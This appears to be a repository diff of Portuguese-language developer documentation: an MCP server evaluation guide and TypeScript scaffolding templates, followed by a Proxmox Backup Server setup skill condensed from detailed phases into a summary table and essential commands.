containsFields?: string[];
|
||||
isError?: boolean;
|
||||
}
|
||||
): Promise<EvalResult> {
|
||||
const start = Date.now();
|
||||
|
||||
try {
|
||||
const result = await client.callTool({ name: toolName, arguments: input });
|
||||
const duration = Date.now() - start;
|
||||
|
||||
// Verificar assertions
|
||||
if (assertions.notError && result.isError) {
|
||||
return { id: toolName, passed: false, duration, error: 'Esperava sucesso, recebeu erro' };
|
||||
}
|
||||
|
||||
if (assertions.isError && !result.isError) {
|
||||
return { id: toolName, passed: false, duration, error: 'Esperava erro, recebeu sucesso' };
|
||||
}
|
||||
|
||||
if (assertions.containsFields) {
|
||||
const text = result.content[0]?.text || '';
|
||||
for (const field of assertions.containsFields) {
|
||||
if (!text.includes(field)) {
|
||||
return { id: toolName, passed: false, duration, error: `Campo "${field}" não encontrado` };
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return { id: toolName, passed: true, duration };
|
||||
} catch (err) {
|
||||
return {
|
||||
id: toolName,
|
||||
passed: false,
|
||||
duration: Date.now() - start,
|
||||
error: err instanceof Error ? err.message : String(err)
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
// Executar todas as evaluations
|
||||
async function main() {
|
||||
const transport = new StdioClientTransport({
|
||||
command: 'node',
|
||||
args: ['dist/index.js']
|
||||
});
|
||||
|
||||
const client = new Client({ name: 'eval-client', version: '1.0.0' });
|
||||
await client.connect(transport);
|
||||
|
||||
const results: EvalResult[] = [];
|
||||
|
||||
// Eval 1: Tool básica
|
||||
results.push(await runEval(client, 'get_customer', { customer_id: 1 }, {
|
||||
notError: true,
|
||||
containsFields: ['name', 'email']
|
||||
}));
|
||||
|
||||
// Eval 2: Input inválido
|
||||
results.push(await runEval(client, 'get_customer', { customer_id: -1 }, {
|
||||
isError: true
|
||||
}));
|
||||
|
||||
// Eval 3: Recurso inexistente
|
||||
results.push(await runEval(client, 'get_customer', { customer_id: 99999 }, {
|
||||
isError: true
|
||||
}));
|
||||
|
||||
// Sumário
|
||||
const passed = results.filter(r => r.passed).length;
|
||||
const total = results.length;
|
||||
console.log(`\nEvaluations: ${passed}/${total} passou`);
|
||||
results.filter(r => !r.passed).forEach(r => {
|
||||
console.log(` FALHOU ${r.id}: ${r.error}`);
|
||||
});
|
||||
|
||||
await client.close();
|
||||
process.exit(passed === total ? 0 : 1);
|
||||
}
|
||||
|
||||
main().catch(console.error);
|
||||
```
|
||||
|
||||
**Adicionar ao package.json:**
|
||||
```json
|
||||
{
|
||||
"scripts": {
|
||||
"eval": "tsx eval/run-evals.ts",
|
||||
"eval:ci": "npm run build && npm run eval"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Checklist de Evaluations (pré-deploy)
|
||||
|
||||
- [ ] Eval 1 passa: tool principal com input válido
|
||||
- [ ] Eval 2 passa: input inválido retorna erro accionável
|
||||
- [ ] Eval 3 passa: recurso inexistente retorna erro claro
|
||||
- [ ] Eval 4 passa: idempotência verificada (se aplicável)
|
||||
- [ ] Eval 5 passa: operações destrutivas confirmadas
|
||||
- [ ] Eval 6 passa: read-only não altera estado
|
||||
- [ ] Eval 7 passa: paginação funciona (se aplicável)
|
||||
- [ ] Eval 8 passa: auth inválida rejeitada graciosamente
|
||||
- [ ] Eval 9 passa: structuredContent consistente
|
||||
- [ ] Eval 10 passa: p95 < 5000ms
|
||||
|
||||
---
|
||||
|
||||
## Integração CI/CD
|
||||
|
||||
```yaml
|
||||
# .gitea/workflows/eval.yml
|
||||
name: MCP Evaluations
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
eval:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- run: npm ci
|
||||
- run: npm run eval:ci
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
*evaluation-guide.md v1.0 | 2026-03-10*
|
||||
341
infraestrutura/skills/mcp-dev/references/templates.md
Normal file
341
infraestrutura/skills/mcp-dev/references/templates.md
Normal file
@@ -0,0 +1,341 @@
|
||||
# MCP Templates - Scaffolding TypeScript
|
||||
|
||||
> Templates de código prontos a usar. Substituir `<nome>` pelo nome real do MCP.
|
||||
|
||||
---
|
||||
|
||||
## package.json
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "mcp-<nome>",
|
||||
"version": "1.0.0",
|
||||
"type": "module",
|
||||
"main": "dist/index.js",
|
||||
"scripts": {
|
||||
"build": "tsc",
|
||||
"start": "node dist/index.js",
|
||||
"start:http": "node dist/index-http.js",
|
||||
"dev": "tsx src/index.ts",
|
||||
"dev:http": "tsx src/index-http.ts",
|
||||
"eval": "tsx eval/run-evals.ts",
|
||||
"eval:ci": "npm run build && npm run eval",
|
||||
"reload:http": "npm run build && systemctl --user restart mcp-<nome> && sleep 2 && curl -s http://127.0.0.1:32XX/health"
|
||||
},
|
||||
"dependencies": {
|
||||
"@modelcontextprotocol/sdk": "^1.0.0",
|
||||
"zod": "^3.22.0"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/node": "^20.0.0",
|
||||
"typescript": "^5.0.0",
|
||||
"tsx": "^4.0.0"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## tsconfig.json
|
||||
|
||||
```json
|
||||
{
|
||||
"compilerOptions": {
|
||||
"target": "ES2022",
|
||||
"module": "ESNext",
|
||||
"moduleResolution": "bundler",
|
||||
"outDir": "./dist",
|
||||
"rootDir": "./src",
|
||||
"strict": true,
|
||||
"esModuleInterop": true,
|
||||
"skipLibCheck": true,
|
||||
"declaration": true
|
||||
},
|
||||
"include": ["src/**/*"],
|
||||
"exclude": ["node_modules", "dist", "eval"]
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## src/index.ts (stdio — padrão local)
|
||||
|
||||
```typescript
|
||||
#!/usr/bin/env node
|
||||
/**
|
||||
* MCP <Nome>
|
||||
* @author Descomplicar® | @link descomplicar.pt | @copyright 2026
|
||||
*/
|
||||
|
||||
import { Server } from '@modelcontextprotocol/sdk/server/index.js';
|
||||
import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js';
|
||||
import {
|
||||
CallToolRequestSchema,
|
||||
ListToolsRequestSchema,
|
||||
ListResourcesRequestSchema,
|
||||
ListPromptsRequestSchema,
|
||||
} from '@modelcontextprotocol/sdk/types.js';
|
||||
import { z } from 'zod';
|
||||
|
||||
// --- Schemas de validação ---
|
||||
const ExampleSchema = z.object({
|
||||
param: z.string().min(1, 'param é obrigatório'),
|
||||
});
|
||||
|
||||
// --- Definição de tools ---
|
||||
const allTools = [
|
||||
{
|
||||
name: 'example_get_item', // {serviço}_{acção}_{recurso}
|
||||
description: 'Obtém um item pelo ID',
|
||||
annotations: {
|
||||
readOnlyHint: true,
|
||||
destructiveHint: false,
|
||||
idempotentHint: true,
|
||||
openWorldHint: false,
|
||||
},
|
||||
inputSchema: {
|
||||
type: 'object' as const,
|
||||
properties: {
|
||||
param: { type: 'string', description: 'ID do item' },
|
||||
},
|
||||
required: ['param'],
|
||||
},
|
||||
handler: async (args: unknown) => {
|
||||
const { param } = ExampleSchema.parse(args);
|
||||
// ... lógica aqui
|
||||
return {
|
||||
content: [{ type: 'text' as const, text: `Item: ${param}` }],
|
||||
structuredContent: { id: param, status: 'found' },
|
||||
};
|
||||
},
|
||||
},
|
||||
];
|
||||
|
||||
// --- Servidor ---
|
||||
const server = new Server(
|
||||
{ name: 'mcp-<nome>', version: '1.0.0' },
|
||||
{ capabilities: { tools: {}, resources: {}, prompts: {} } }
|
||||
);
|
||||
|
||||
server.setRequestHandler(ListToolsRequestSchema, async () => ({
|
||||
tools: allTools.map(t => ({
|
||||
name: t.name,
|
||||
description: t.description,
|
||||
annotations: t.annotations,
|
||||
inputSchema: t.inputSchema,
|
||||
})),
|
||||
}));
|
||||
|
||||
server.setRequestHandler(ListResourcesRequestSchema, async () => ({ resources: [] }));
|
||||
server.setRequestHandler(ListPromptsRequestSchema, async () => ({ prompts: [] }));
|
||||
|
||||
server.setRequestHandler(CallToolRequestSchema, async (request) => {
|
||||
const { name, arguments: args } = request.params;
|
||||
const tool = allTools.find(t => t.name === name);
|
||||
|
||||
if (!tool) {
|
||||
return {
|
||||
content: [{ type: 'text', text: `Tool desconhecida: ${name}` }],
|
||||
isError: true,
|
||||
};
|
||||
}
|
||||
|
||||
try {
|
||||
return await tool.handler(args);
|
||||
} catch (error) {
|
||||
if (error instanceof z.ZodError) {
|
||||
return {
|
||||
content: [{
|
||||
type: 'text',
|
||||
text: `Parâmetros inválidos:\n${error.errors.map(e => ` - ${e.path.join('.')}: ${e.message}`).join('\n')}`,
|
||||
}],
|
||||
isError: true,
|
||||
};
|
||||
}
|
||||
return {
|
||||
content: [{
|
||||
type: 'text',
|
||||
text: `Erro em ${name}: ${error instanceof Error ? error.message : String(error)}`,
|
||||
}],
|
||||
isError: true,
|
||||
};
|
||||
}
|
||||
});
|
||||
|
||||
async function main() {
|
||||
const transport = new StdioServerTransport();
|
||||
await server.connect(transport);
|
||||
console.error('MCP <nome> running on stdio');
|
||||
}
|
||||
|
||||
main().catch(console.error);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## src/index-http.ts (StreamableHTTP — padrão remoto)
|
||||
|
||||
```typescript
|
||||
#!/usr/bin/env node
|
||||
/**
|
||||
* MCP <Nome> - HTTP Server Mode
|
||||
* @author Descomplicar® | @link descomplicar.pt | @copyright 2026
|
||||
*/
|
||||
|
||||
import { Server } from '@modelcontextprotocol/sdk/server/index.js';
|
||||
import { StreamableHTTPServerTransport } from '@modelcontextprotocol/sdk/server/streamableHttp.js';
|
||||
import {
|
||||
ListToolsRequestSchema,
|
||||
CallToolRequestSchema,
|
||||
ListResourcesRequestSchema,
|
||||
ListPromptsRequestSchema,
|
||||
} from '@modelcontextprotocol/sdk/types.js';
|
||||
import * as http from 'http';
|
||||
import { URL } from 'url';
|
||||
import { randomUUID } from 'crypto';
|
||||
|
||||
const PORT = parseInt(process.env.MCP_HTTP_PORT || '3200', 10);
|
||||
const HOST = process.env.MCP_HTTP_HOST || '127.0.0.1';
|
||||
const STATEFUL = process.env.MCP_STATEFUL !== 'false';
|
||||
|
||||
const sessions = new Map<string, { transport: StreamableHTTPServerTransport }>();
|
||||
|
||||
// Importar allTools do mesmo local que stdio
|
||||
import { allTools } from './tools/index.js';
|
||||
|
||||
function createMcpServer(): Server {
|
||||
const server = new Server(
|
||||
{ name: 'mcp-<nome>', version: '1.0.0' },
|
||||
{ capabilities: { tools: {}, resources: {}, prompts: {} } }
|
||||
);
|
||||
|
||||
server.setRequestHandler(ListToolsRequestSchema, async () => ({
|
||||
tools: allTools.map(t => ({
|
||||
name: t.name,
|
||||
description: t.description,
|
||||
annotations: t.annotations,
|
||||
inputSchema: t.inputSchema,
|
||||
})),
|
||||
}));
|
||||
|
||||
server.setRequestHandler(ListResourcesRequestSchema, async () => ({ resources: [] }));
|
||||
server.setRequestHandler(ListPromptsRequestSchema, async () => ({ prompts: [] }));
|
||||
|
||||
server.setRequestHandler(CallToolRequestSchema, async (request) => {
|
||||
const { name, arguments: args } = request.params;
|
||||
const tool = allTools.find(t => t.name === name);
|
||||
if (!tool) {
|
||||
return { content: [{ type: 'text', text: `Tool desconhecida: ${name}` }], isError: true };
|
||||
}
|
||||
try {
|
||||
return await tool.handler(args);
|
||||
} catch (error) {
|
||||
return {
|
||||
content: [{ type: 'text', text: `Erro: ${error instanceof Error ? error.message : String(error)}` }],
|
||||
isError: true,
|
||||
};
|
||||
}
|
||||
});
|
||||
|
||||
return server;
|
||||
}
|
||||
|
||||
async function main() {
|
||||
const httpServer = http.createServer(async (req, res) => {
|
||||
res.setHeader('Access-Control-Allow-Origin', '*');
|
||||
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, DELETE, OPTIONS');
|
||||
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Mcp-Session-Id');
|
||||
|
||||
if (req.method === 'OPTIONS') { res.writeHead(200); res.end(); return; }
|
||||
|
||||
const url = new URL(req.url || '/', `http://${HOST}:${PORT}`);
|
||||
|
||||
if (url.pathname === '/health') {
|
||||
res.writeHead(200, { 'Content-Type': 'application/json' });
|
||||
res.end(JSON.stringify({ status: 'ok', version: '1.0.0', sessions: sessions.size, tools: allTools.length }));
|
||||
return;
|
||||
}
|
||||
|
||||
if (url.pathname === '/mcp') {
|
||||
try {
|
||||
const transport = new StreamableHTTPServerTransport({
|
||||
sessionIdGenerator: STATEFUL ? () => randomUUID() : undefined,
|
||||
});
|
||||
const srv = createMcpServer();
|
||||
if (STATEFUL && transport.sessionId) {
|
||||
sessions.set(transport.sessionId, { transport });
|
||||
transport.onclose = () => { if (transport.sessionId) sessions.delete(transport.sessionId); };
|
||||
}
|
||||
await srv.connect(transport);
|
||||
await transport.handleRequest(req, res);
|
||||
} catch (error) {
|
||||
if (!res.headersSent) {
|
||||
res.writeHead(500, { 'Content-Type': 'application/json' });
|
||||
res.end(JSON.stringify({ error: 'Internal server error' }));
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
res.writeHead(404, { 'Content-Type': 'application/json' });
|
||||
res.end(JSON.stringify({ error: 'Not found' }));
|
||||
});
|
||||
|
||||
httpServer.listen(PORT, HOST, () => {
|
||||
console.log(`MCP <nome> HTTP v1.0.0`);
|
||||
console.log(` Endpoint: http://${HOST}:${PORT}/mcp`);
|
||||
console.log(` Health: http://${HOST}:${PORT}/health`);
|
||||
console.log(` Mode: ${STATEFUL ? 'Stateful' : 'Stateless'}`);
|
||||
});
|
||||
|
||||
const shutdown = () => httpServer.close(() => process.exit(0));
|
||||
process.on('SIGINT', shutdown);
|
||||
process.on('SIGTERM', shutdown);
|
||||
}
|
||||
|
||||
main().catch(console.error);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## ~/.config/systemd/user/mcp-<nome>.service
|
||||
|
||||
```ini
|
||||
[Unit]
|
||||
Description=MCP <Nome> HTTP Server
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
WorkingDirectory=/home/ealmeida/mcp-servers/mcp-<nome>
|
||||
ExecStart=/home/ealmeida/.nvm/versions/node/v22.18.0/bin/node dist/index-http.js
|
||||
Restart=on-failure
|
||||
RestartSec=5
|
||||
Environment=NODE_ENV=production
|
||||
Environment=MCP_HTTP_PORT=32XX
|
||||
Environment=LOG_LEVEL=error
|
||||
StandardOutput=journal
|
||||
StandardError=journal
|
||||
|
||||
[Install]
|
||||
WantedBy=default.target
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Configuração ~/.claude.json
|
||||
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"<nome>": {
|
||||
"type": "http",
|
||||
"url": "http://127.0.0.1:32XX/mcp"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
*templates.md v1.0 | 2026-03-10*
|
||||
@@ -1,28 +1,19 @@
|
||||
---
|
||||
name: pbs-config
|
||||
description: Configuração Proxmox Backup Server (PBS) - datastore creation, retention policies, sync jobs, remote targets. Use when user mentions "pbs setup", "proxmox backup", "configure pbs", "backup server".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 1.0.0
|
||||
quality_score: 75
|
||||
user_invocable: true
|
||||
desk_task: 1712
|
||||
allowed-tools: Task, Read, Bash
|
||||
dependencies:
|
||||
- ssh-unified
|
||||
- notebooklm
|
||||
description: Configuracao do Proxmox Backup Server (PBS) -- criacao de datastores, politicas de retencao, sync jobs e remote targets para estrategia 3-2-1.
|
||||
---
|
||||
|
||||
# PBS Config
|
||||
|
||||
Configuração completa de Proxmox Backup Server (PBS) com datastores, políticas de retenção, sync jobs e estratégia de backup 3-2-1.
|
||||
Configuracao completa de Proxmox Backup Server (PBS) com datastores, politicas de retencao, sync jobs e estrategia de backup 3-2-1.
|
||||
|
||||
## Quando Usar
|
||||
|
||||
- Configurar PBS após instalação Proxmox
|
||||
- Configurar PBS apos instalacao Proxmox
|
||||
- Criar datastores para backups
|
||||
- Definir retention policies (7 daily, 4 weekly, 6 monthly)
|
||||
- Configurar remote sync entre nodes PBS
|
||||
- Implementar estratégia 3-2-1 backup
|
||||
- Implementar estrategia 3-2-1 backup
|
||||
|
||||
## Sintaxe
|
||||
|
||||
@@ -33,13 +24,13 @@ Configuração completa de Proxmox Backup Server (PBS) com datastores, política
|
||||
## Exemplos
|
||||
|
||||
```bash
|
||||
# PBS básico com retention padrão
|
||||
# PBS basico com retention padrao
|
||||
/pbs-config /mnt/pbs-datastore
|
||||
|
||||
# PBS com retention custom e remote sync
|
||||
/pbs-config /mnt/pbs-datastore --retention 10:5:12 --remote-sync pbs-node2.descomplicar.pt
|
||||
|
||||
# PBS sem deduplicação (se storage não suporta)
|
||||
# PBS sem deduplicacao (se storage nao suporta)
|
||||
/pbs-config /mnt/pbs-main --dedup off
|
||||
```
|
||||
|
||||
@@ -54,444 +45,95 @@ mcp__notebooklm__notebook_query \
|
||||
|
||||
### Hub Docs
|
||||
- Hub/05-Projectos/Cluster Descomplicar/Research/Proxmox-VE/Guia-Definitivo-Proxmox-Hetzner.md
|
||||
- Módulo 3: Storage e Backups (PBS, estratégia 3-2-1, deduplicação)
|
||||
- Modulo 3: Storage e Backups (PBS, estrategia 3-2-1, deduplicacao)
|
||||
|
||||
## Workflow Completo
|
||||
## Workflow Resumo
|
||||
|
||||
### Fase 1: PBS Installation (se ainda não instalado)
|
||||
O setup completo segue 8 fases. Detalhes em `references/pbs-setup-completo.md`.
|
||||
|
||||
### Fases
|
||||
|
||||
| Fase | Descricao | Comandos-chave |
|
||||
|------|-----------|----------------|
|
||||
| 1 | Instalacao PBS | `apt install proxmox-backup-server` |
|
||||
| 2 | Criar Datastore | `proxmox-backup-manager datastore create` |
|
||||
| 3 | Users e Permissions | `proxmox-backup-manager user create` |
|
||||
| 4 | Integrar PVE com PBS | `pvesm add pbs` |
|
||||
| 5 | Backup Jobs | `vzdump --storage pbs-main` |
|
||||
| 6 | Remote Sync (cluster) | `proxmox-backup-manager sync-job create` |
|
||||
| 7 | Monitoring | `proxmox-backup-manager datastore status` |
|
||||
| 8 | Teste Restore | `qmrestore pbs-main:backup/...` |
|
||||
|
||||
### Comandos Essenciais
|
||||
|
||||
**1.1 Verificar se PBS já está instalado**
|
||||
```bash
|
||||
dpkg -l | grep proxmox-backup-server
|
||||
|
||||
# Se não instalado:
|
||||
apt update
|
||||
apt install proxmox-backup-server
|
||||
```
|
||||
|
||||
**1.2 Aceder PBS Web UI**
|
||||
```
|
||||
https://SERVER_IP:8007
|
||||
|
||||
User: root
|
||||
Password: (root password do servidor)
|
||||
```
|
||||
|
||||
**1.3 Configuração Inicial**
|
||||
- Hostname
|
||||
- DNS servers
|
||||
- Time zone (Europe/Lisbon)
|
||||
|
||||
### Fase 2: Datastore Creation
|
||||
|
||||
**2.1 Preparar Storage**
|
||||
|
||||
**Para ZFS (RECOMENDADO):**
|
||||
```bash
|
||||
# Já criado em /proxmox-setup:
|
||||
# zfs create rpool/pbs-datastore
|
||||
|
||||
# Verificar
|
||||
zfs list | grep pbs-datastore
|
||||
|
||||
# Optimizar para backup workload
|
||||
zfs set compression=lz4 rpool/pbs-datastore
|
||||
zfs set dedup=off rpool/pbs-datastore # Dedup no PBS, não no ZFS
|
||||
zfs set recordsize=1M rpool/pbs-datastore # Large files
|
||||
```
|
||||
|
||||
**Para ext4 (HDD 16TB):**
|
||||
```bash
|
||||
# Particionar HDD
|
||||
parted /dev/sda mklabel gpt
|
||||
parted /dev/sda mkpart primary ext4 0% 100%
|
||||
|
||||
# Formatar
|
||||
mkfs.ext4 /dev/sda1
|
||||
|
||||
# Montar
|
||||
mkdir -p /mnt/pbs-datastore
|
||||
echo "/dev/sda1 /mnt/pbs-datastore ext4 defaults 0 2" >> /etc/fstab
|
||||
mount -a
|
||||
```
|
||||
|
||||
**2.2 Criar Datastore via CLI**
|
||||
```bash
|
||||
# Criar datastore
|
||||
proxmox-backup-manager datastore create main-store /mnt/pbs-datastore
|
||||
|
||||
# Verificar
|
||||
proxmox-backup-manager datastore list
|
||||
```
|
||||
|
||||
**2.3 Configurar Retention Policy**
|
||||
```bash
|
||||
# 7 daily, 4 weekly, 6 monthly (padrão)
|
||||
# Retention padrao (7d/4w/6m/3y)
|
||||
proxmox-backup-manager datastore update main-store \
|
||||
--keep-daily 7 \
|
||||
--keep-weekly 4 \
|
||||
--keep-monthly 6 \
|
||||
--keep-yearly 3
|
||||
```
|
||||
--keep-daily 7 --keep-weekly 4 --keep-monthly 6 --keep-yearly 3
|
||||
|
||||
**Explicação Retention:**
|
||||
- `keep-daily 7`: Mantém 7 backups diários
|
||||
- `keep-weekly 4`: Mantém 4 backups semanais (1 por semana)
|
||||
- `keep-monthly 6`: Mantém 6 backups mensais (1 por mês)
|
||||
- `keep-yearly 3`: Mantém 3 backups anuais
|
||||
# User dedicado
|
||||
proxmox-backup-manager user create pve-backup@pbs --email admin@descomplicar.pt
|
||||
|
||||
**Gestão automática:** PBS elimina backups antigos baseado nestas regras.
|
||||
# Adicionar PBS ao PVE
|
||||
pvesm add pbs pbs-main --server SERVER_IP --datastore main-store --username pve-backup@pbs
|
||||
|
||||
### Fase 3: PBS Users & Permissions
|
||||
|
||||
**3.1 Criar User para PVE Backups**
|
||||
```bash
|
||||
# User dedicado para Proxmox enviar backups
|
||||
proxmox-backup-manager user create pve-backup@pbs \
|
||||
--email admin@descomplicar.pt
|
||||
|
||||
# Password
|
||||
proxmox-backup-manager user update pve-backup@pbs --password
|
||||
|
||||
# Atribuir permissões no datastore
|
||||
proxmox-backup-manager acl update /datastore/main-store \
|
||||
--auth-id pve-backup@pbs \
|
||||
--role DatastoreBackup
|
||||
```
|
||||
|
||||
**3.2 Criar API Token (para automação)**
|
||||
```bash
|
||||
# Token para scripts/Terraform
|
||||
proxmox-backup-manager user token create pve-backup@pbs automation-token \
|
||||
--output-format json
|
||||
|
||||
# Guardar token de forma segura
|
||||
# Formato: pve-backup@pbs!automation-token=<secret>
|
||||
```
|
||||
|
||||
### Fase 4: Configure PVE to Use PBS
|
||||
|
||||
**4.1 Adicionar PBS Storage em Proxmox VE**
|
||||
|
||||
Via Web UI (Datacenter → Storage → Add → Proxmox Backup Server):
|
||||
- ID: `pbs-main`
|
||||
- Server: `SERVER_IP` (ou hostname se cluster)
|
||||
- Datastore: `main-store`
|
||||
- Username: `pve-backup@pbs`
|
||||
- Password: (password criado)
|
||||
- Fingerprint: (auto-detect)
|
||||
|
||||
Via CLI:
|
||||
```bash
|
||||
pvesm add pbs pbs-main \
|
||||
--server SERVER_IP \
|
||||
--datastore main-store \
|
||||
--username pve-backup@pbs \
|
||||
--password <password>
|
||||
```
|
||||
|
||||
**4.2 Verificar Conectividade**
|
||||
```bash
|
||||
pvesm status | grep pbs-main
|
||||
```
|
||||
|
||||
### Fase 5: Backup Jobs (PVE)
|
||||
|
||||
**5.1 Criar Backup Job para VMs Críticas**
|
||||
|
||||
Via Web UI (Datacenter → Backup → Add):
|
||||
- Storage: `pbs-main`
|
||||
- Schedule: Daily 01:00
|
||||
- Mode: Snapshot (live backup)
|
||||
- Compression: zstd
|
||||
- Notification: email admin@descomplicar.pt
|
||||
|
||||
Via CLI:
|
||||
```bash
|
||||
# Backup diário de todas VMs às 01:00
|
||||
# Backup diario
|
||||
vzdump --storage pbs-main --mode snapshot --compress zstd --all 1
|
||||
```
|
||||
|
||||
**5.2 Agendar via cron (alternativa)**
|
||||
```bash
|
||||
# /etc/cron.d/pve-backup-critical
|
||||
0 1 * * * root vzdump --storage pbs-main --vmid 100,101,102 --mode snapshot --compress zstd
|
||||
```
|
||||
|
||||
**5.3 Backup Seletivo**
|
||||
```bash
|
||||
# VMs críticas: diário
|
||||
# VMs secundárias: 3x semana (Seg, Qua, Sex)
|
||||
0 1 * * 1,3,5 root vzdump --storage pbs-main --vmid 200,201,202 --mode snapshot --compress zstd
|
||||
```
|
||||
|
||||
### Fase 6: Remote Sync (2-Node Cluster)
|
||||
|
||||
**Setup para cluster:** PBS em Node B (primary) + PBS em Node A (secondary)
|
||||
|
||||
**6.1 Configurar Remote em PBS Secondary (Node A)**
|
||||
|
||||
Via Web UI PBS Node A (Configuration → Remote):
|
||||
- Name: `pbs-node-b`
|
||||
- Host: `<node-b-ip>` ou `cluster.descomplicar.pt`
|
||||
- Port: 8007
|
||||
- Auth ID: `pve-backup@pbs`
|
||||
- Password: (password)
|
||||
- Fingerprint: (auto-detect)
|
||||
|
||||
**6.2 Criar Sync Job**
|
||||
|
||||
Via Web UI PBS Node A (Configuration → Sync Jobs → Add):
|
||||
- Remote: `pbs-node-b`
|
||||
- Remote Datastore: `main-store`
|
||||
- Local Datastore: `secondary-store`
|
||||
- Schedule: Daily 03:00 (após backups)
|
||||
- Remove vanished: Yes (sync deletes)
|
||||
|
||||
Via CLI em Node A:
|
||||
```bash
|
||||
# Remote sync
|
||||
proxmox-backup-manager sync-job create sync-from-node-b \
|
||||
--remote pbs-node-b \
|
||||
--remote-store main-store \
|
||||
--store secondary-store \
|
||||
--schedule "0 3 * * *" \
|
||||
--remove-vanished true
|
||||
```
|
||||
--remote pbs-node-b --remote-store main-store --store secondary-store \
|
||||
--schedule "0 3 * * *" --remove-vanished true
|
||||
|
||||
**6.3 Testar Sync Manual**
|
||||
```bash
|
||||
proxmox-backup-manager sync-job run sync-from-node-b
|
||||
```
|
||||
|
||||
### Fase 7: Monitoring & Maintenance
|
||||
|
||||
**7.1 Verificar Deduplicação**
|
||||
```bash
|
||||
# Ver estatísticas datastore
|
||||
proxmox-backup-manager datastore status main-store
|
||||
|
||||
# Ratio deduplicação (típico 1.3-2.5x)
|
||||
```
|
||||
|
||||
**7.2 Garbage Collection**
|
||||
```bash
|
||||
# Liberar espaço de backups removidos (retention)
|
||||
# Garbage collection
|
||||
proxmox-backup-manager garbage-collection start main-store
|
||||
|
||||
# Agendar GC semanal (Domingo 02:00)
|
||||
# Via Web UI: Datastore → main-store → Prune & GC
|
||||
```
|
||||
|
||||
**7.3 Verificar Disk Usage**
|
||||
```bash
|
||||
df -h /mnt/pbs-datastore
|
||||
|
||||
# ZFS
|
||||
zfs list -o name,used,available,refer rpool/pbs-datastore
|
||||
```
|
||||
|
||||
**7.4 Alertas Email**
|
||||
```bash
|
||||
# Configurar notificações
|
||||
# Via Web UI: Configuration → Notifications
|
||||
# SMTP server: mail.descomplicar.pt
|
||||
# Alertas: disk usage >80%, backup failures
|
||||
```
|
||||
|
||||
### Fase 8: Restore Procedures (Testing)
|
||||
|
||||
**8.1 Restore VM Teste**
|
||||
|
||||
Via Web UI PVE:
|
||||
- Storage → pbs-main → Backups
|
||||
- Seleccionar VM backup
|
||||
- Restore → New VM ID (999)
|
||||
- Start após restore
|
||||
|
||||
**8.2 Restore via CLI**
|
||||
```bash
|
||||
# Listar backups disponíveis
|
||||
pbs-client list --repository pve-backup@pbs@SERVER_IP:main-store
|
||||
|
||||
# Restore VM 100
|
||||
qmrestore pbs-main:backup/vm/100/YYYY-MM-DD... 999
|
||||
```
|
||||
|
||||
**8.3 Validar Restore**
|
||||
```bash
|
||||
qm start 999
|
||||
# Verificar VM boota correctamente
|
||||
# Teste serviço critical
|
||||
# Shutdown e remover VM teste
|
||||
qm stop 999 && qm destroy 999
|
||||
```
|
||||
|
||||
**CRITICAL:** Testar restore ANTES de considerar backup strategy operacional.
|
||||
|
||||
## Output Summary
|
||||
|
||||
```
|
||||
✅ PBS configurado: SERVER_IP:8007
|
||||
|
||||
💾 Datastore:
|
||||
- Name: main-store
|
||||
- Path: /mnt/pbs-datastore
|
||||
- Size: 16TB (HDD) ou 1TB (NVMe)
|
||||
- Deduplication: ON (PBS chunk-based)
|
||||
- Compression: LZ4 (ZFS) + zstd (PBS)
|
||||
|
||||
📋 Retention Policy:
|
||||
- Daily: 7 backups
|
||||
- Weekly: 4 backups
|
||||
- Monthly: 6 backups
|
||||
- Yearly: 3 backups
|
||||
- Auto-prune: Yes
|
||||
|
||||
🔐 Access:
|
||||
- User: pve-backup@pbs
|
||||
- Token: automation-token (para CI/CD)
|
||||
- Role: DatastoreBackup
|
||||
|
||||
⏰ Backup Schedule:
|
||||
- Critical VMs (100-102): Diário 01:00
|
||||
- Secondary VMs (200-202): Seg/Qua/Sex 01:00
|
||||
- GC: Domingo 02:00
|
||||
|
||||
🔄 Remote Sync (se cluster):
|
||||
- Source: pbs-node-b (Node B)
|
||||
- Target: secondary-store (Node A)
|
||||
- Schedule: Diário 03:00
|
||||
- Remove vanished: Yes
|
||||
|
||||
📊 Expected Metrics:
|
||||
- Dedup ratio: 1.5-2.5x
|
||||
- Compression ratio: 1.3-1.8x
|
||||
- Backup speed: 100-300 MB/s (depende network/disk)
|
||||
- Restore RTO: 2-4h (para VM 100GB)
|
||||
|
||||
✅ Validation Tests:
|
||||
✓ Primeiro backup successful
|
||||
✓ Restore test VM 999
|
||||
✓ Dedup ratio >1.3x
|
||||
✓ Remote sync (se cluster)
|
||||
✓ Email notifications working
|
||||
|
||||
📋 Next Steps:
|
||||
1. Configurar backup VMs production (/vm-migration)
|
||||
2. Criar off-site backup (S3/Wasabi/Hetzner Storage Box)
|
||||
3. Documentar restore procedures em PROC-Backup-Restore.md
|
||||
4. Testar disaster recovery completo
|
||||
5. Monitorizar disk usage PBS (alertar >80%)
|
||||
|
||||
⏱️ Setup time: ~30min (vs 1h manual)
|
||||
```
|
||||
|
||||
## Estratégia 3-2-1 Backup
|
||||
|
||||
**Implementation para Cluster Descomplicar:**
|
||||
|
||||
**3 cópias:**
|
||||
1. **Original:** VMs em Node A (produção)
|
||||
